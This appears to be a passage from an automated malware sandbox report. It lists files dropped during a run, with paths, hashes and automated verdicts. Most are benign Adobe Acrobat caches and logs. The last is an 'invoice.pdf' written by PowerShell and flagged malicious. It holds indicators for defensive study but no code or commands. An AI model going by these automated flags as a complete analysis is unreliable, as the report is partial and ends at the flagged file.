SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfshHHrPeUkwRe9:YvXKX9WnYpW7fNGUUUkee9
MD5:	807A996442D380E2847DBC05E41C97E4
SHA1:	D3C2D58D52FF5FB1E6AD9413FA5DA4BCEBDE5DE8
SHA-256:	A5EAFBD4E94E68DDCC58EED0C13AC17E559F1537C3A0AE75AAA042E15B990D7F
SHA-512:	8FA0B0CCF22836EB10634FEF0303EFE29FB397334EED852056BA2F404602FBBDF2D5D22476DBF907FD5BA23B95713E84321D95BF17D4089D5968709DE44C6F70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.229631547827801
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJTqgFCrPeUkwRe9:YvXKX9WnYpW7fNGTq16Ukee9
MD5:	CF98957A872CB8F61CF221C68BABCA97
SHA1:	89042309F30E61B983385C120F1E8600357FCF78
SHA-256:	2C468AA1490A704288A625529625DC1ED8D913A104D1185253CE952CD8920A73
SHA-512:	5A2DE279C99E6A7F95823522F5B80E5A2B8F384B80CD25C37452C7CD83DB1FBE50264ADEB619897FFF587711599F806EF43CA69C9C0FAD2779D43F3120A490A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135292502877713
Encrypted:	false
SSDEEP:	48:Y+af9XSxA6/MHqHLktqxJWugWBRpEh9OiBu6:HoXSxA6/MHqHqYRSt
MD5:	23EF00A4B97B541220DD51E861CBCD47
SHA1:	52558A67A60F7062042F38F279D2F9CAA95B7B91
SHA-256:	E1DB82AF21902FF8BBB0D36C162936BFAC309A924231A4511DC9057E0DA01EAA
SHA-512:	EB6D954457B96B5A45850B39AB81B019F081B9D1FB541DB68483B50450BDF859A2FA74F0AB7B7FEEFA4B5B5480748584782833D741960525D405CC2562DE4CE7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"545704e6c160db72f8cc6753c383e4d9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563335000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"705ac0997d4c50adf8d702a3e05aa06a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563335000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"44fee8440c644633e4c81c39120db65f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563335000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2e4f533d6a70bba62a76e3960be28950","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563335000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a5aaa4ada0a4d1f96fd9a3805f7e852e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563335000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7f40d036db49277f0ae0e4d8b9f22041","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846832446536
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spg4zJwtNBwtNbRZ6bRZ4KF:TVl2GL7ms6ggOVpDzutYtp6P7
MD5:	872E25F38C9D19202F9816B0FD18463E
SHA1:	A8274C9D65112F314FC60B07097325B0EB88FF1C
SHA-256:	0BBFD830C6FE04FCCF2D57E4C1FF4598FCBB1875BC002B2A7B125F7A5E9094AD
SHA-512:	75EB6315EACCC0D21AA55D49F7F4A7E3F87EF55982B10919939186372DA6B3ABA0B7646426E8786165176BBD7A2D1A08B6BB6CF5F962BFE78F55741E65D6C188
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338134813764098
Encrypted:	false
SSDEEP:	24:7+tNAD1RZKHs/Ds/SpgPzJwtNBwtNbRZ6bRZWf1RZKjnqLBx/XYKQvGJF7urs0:7MNGgOVp8zutYtp6PMynqll2GL7ms0
MD5:	9453AB32B9F41A9D5B7F52216D14B569
SHA1:	DE61FBC08B497DF8D68E341001E726EEC196A5FA
SHA-256:	0C025CB95980EA440D99881D64AFD862E48BD8AB45873A43649830114B69A291
SHA-512:	AADF7B5ED804D48093F188C1C7F6157239045DF79A175E33B9AF84D17ECE1D3507A55E56D42C75DA5157D5F069AB47430FBD42D57595F670B5BC8146F7536A21
Malicious:	false
Preview:	.... .c.....wM........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgff+xC0TUne2Juk8A+C7d8+FVi5hlmYyu:6a6TZ44ADEff+xqJuk8A17d8VL4K
MD5:	4A6ED1C971C33B6E1B65CABED1C10841
SHA1:	E53ABD3B049304BCE2EDBE3DDB65A5DA461D9733
SHA-256:	E93B1B34CC54CB7BE9CAD1F994E921022606DF44DEF84E7842607D5A4C59BADE
SHA-512:	E6297230ADA68230ECC0EC3E3735C4E46C47DCEF5CD4B4BB741F3FE01BA8C80BCCCBF97C3D1EB6DE075AA97390BA1EE4E4D214C115CB04E129AB80DF13ED99EE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI71f58.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClswxYle:Qw946cPbiOxDlbYnuRK+bqew
MD5:	0B0B2A4514C5522F7AF88F89259953D6
SHA1:	0424A4691741D2F8ACCA2D06431A396F25C2CA77
SHA-256:	868D90E4E803C39CA2679FE42F426969F5A8FB31D78EF0E045E3A56221D6D14E
SHA-512:	1ED52299C1F393CDC78013B28EA079E68161E288BA17FEBE672DDE76C8DEDD131EDECE8BC95FF05DDFAE73849EFE93792F7A90A3B6064B26B13E5DF416F1784A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.4.2.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cehkfu1w.50y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yw302vex.x1j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-42-10-932.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.341989605880147
Encrypted:	false
SSDEEP:	384:HcIVQ0BqwsfHSElmHGfpGa3fojaVGkk2ZmQ8qyiI44E0upzmmNZzgjgFE60J0tl2:Uw/
MD5:	000CE020A21D22B963EA69A98ABAA49C
SHA1:	D2DAAFE61419668AB77DD5789205883284EDAE3E
SHA-256:	EF4E572A8AA990943E6814366ED46DAE77272AA00005D8F88EC42C0A4AFFEADA
SHA-512:	30BA145C2DE9C4A5C9BCC55006445E7205019A1635F560C4BB60CFDE84F51399306FE7EEBFD83CD19600BA0D23F2B7EBCFA5475FAB376257B4DC1783AAFB78EF
Malicious:	false
Preview:	SessionID=f04f26a3-3d5f-4d49-a6fd-54a7bf33a5b6.1736563330943 Timestamp=2025-01-10T21:42:10:943-0500 ThreadID=7332 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f04f26a3-3d5f-4d49-a6fd-54a7bf33a5b6.1736563330943 Timestamp=2025-01-10T21:42:10:944-0500 ThreadID=7332 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f04f26a3-3d5f-4d49-a6fd-54a7bf33a5b6.1736563330943 Timestamp=2025-01-10T21:42:10:944-0500 ThreadID=7332 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f04f26a3-3d5f-4d49-a6fd-54a7bf33a5b6.1736563330943 Timestamp=2025-01-10T21:42:10:944-0500 ThreadID=7332 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f04f26a3-3d5f-4d49-a6fd-54a7bf33a5b6.1736563330943 Timestamp=2025-01-10T21:42:10:944-0500 ThreadID=7332 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39493401936999
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbC:ra
MD5:	ACA35E0B0D226CC97F11B68F70C76AE9
SHA1:	9ED16F032F0CB31E66FB63CCE05D830768DEFA0B
SHA-256:	8D9F326799274C1B67BE225769A8B6011D07B79C28DDBD055DE977B66C672810
SHA-512:	7D579222386440CD96B802BDDF706C632F9C7BB42E01099F74A83148094CD275D62FE441CA80ABA3B8CDCAF513AA7252ECFA73C24B70A4C6B277FFFD3EBBDAED
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0fe81d35-8f76-4ba7-afad-f6a42676c1ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bdafec0e-7c1d-4b73-8903-85096a871733.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x1wYIGNPJnWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:J1wZGTWLxB3mlind9i4ufFXpAXkrfUsb
MD5:	12F2B7AA134915BFFFD8679D03137A0D
SHA1:	8C183284F33E697E32DC844B34BBD4A9BCC8AB7C
SHA-256:	720BF6C03BE5E6272AD598225F9755FBF4D6C1E6033EE58DF75267DEF8E270DE
SHA-512:	CF3B81743E0B9B0EF92C1BE1754206A6CCB318C4AF9D962BFF2937AEC1B1FDF9AC85116C58811F39D2A3FDC862315BFF5DADB4E2C89862CC252156C61819CED3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d87a4751-6e4e-4047-84bf-381e8f5ff5fb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d966bc73-b06a-4eb5-9e3d-270d75d60999.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
